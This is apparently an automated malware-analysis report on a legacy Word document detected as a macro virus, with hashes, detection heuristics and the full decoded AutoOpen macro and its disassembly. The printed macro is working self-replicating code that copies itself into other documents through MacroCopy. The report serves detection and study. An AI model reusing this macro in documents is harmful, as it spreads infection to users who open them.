Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f4862b2bc6ddeadb…

MALICIOUS

Office (OLE)

26.5 KB Created: 1998-01-29 08:00:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 76c59284dff0566fccc30bb7ffdcfe7e SHA-1: b7a417a8caa9617be1d95cddb9d06e45cf1c4bb3 SHA-256: f4862b2bc6ddeadb89953bb9be84085821f4874a160962a3b8c8b3140d12cfc2
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a legacy Word document containing a WordBasic macro. The AutoOpen macro is designed to copy itself to another macro named 'AutoOpen' and also to a macro named by concatenating the current filename with ':AutoOpen'. This behavior is indicative of a macro-based malware designed for propagation.

Heuristics 4

  • ClamAV: Doc.Trojan.Minimal-49 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-49
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1494 bytes
SHA-256: aa5a8865033c1d091702b859fca7892c1a6a96e54619db7cc1175813e0ea3949
Detection
ClamAV: Doc.Trojan.Minimal-49
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Public Sub MAIN()
Attribute MAIN.VB_Description = "Note: I respect most AVs and the CARO naming standard, so I would appreciate it if you could respect me and name this virus WM/Smallv.B"
Attribute MAIN.VB_ProcData.VB_Invoke_Func = "TemplateProject.AutoOpen.MAIN"
Dim a$
Dim b$
On Error Resume Next
a$ = "AutoOpen"
b$ = WordBasic.[FileName$]() + ":" + a$
WordBasic.MacroCopy a$, b$
WordBasic.MacroCopy b$, a$
End Sub

' Processing file: /opt/analyzer/scan_staging/e2115160e01d48408e124d072fec4181.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 1567 bytes
' Line #0:
' Line #1:
' 	FuncDefn (Public Sub MAIN())
' Line #2:
' 	Dim 
' 	VarDefn a
' Line #3:
' 	Dim 
' 	VarDefn B
' Line #4:
' 	OnError (Resume Next) 
' Line #5:
' 	LitStr 0x0008 "AutoOpen"
' 	St a$ 
' Line #6:
' 	Ld WordBasic 
' 	ArgsMemLd [FileName$] 0x0000 
' 	LitStr 0x0001 ":"
' 	Add 
' 	Ld a$ 
' 	Add 
' 	St B$ 
' Line #7:
' 	Ld a$ 
' 	Ld B$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #8:
' 	Ld B$ 
' 	Ld a$ 
' 	Ld WordBasic 
' 	ArgsMemCall MacroCopy 0x0002 
' Line #9:
' 	EndSub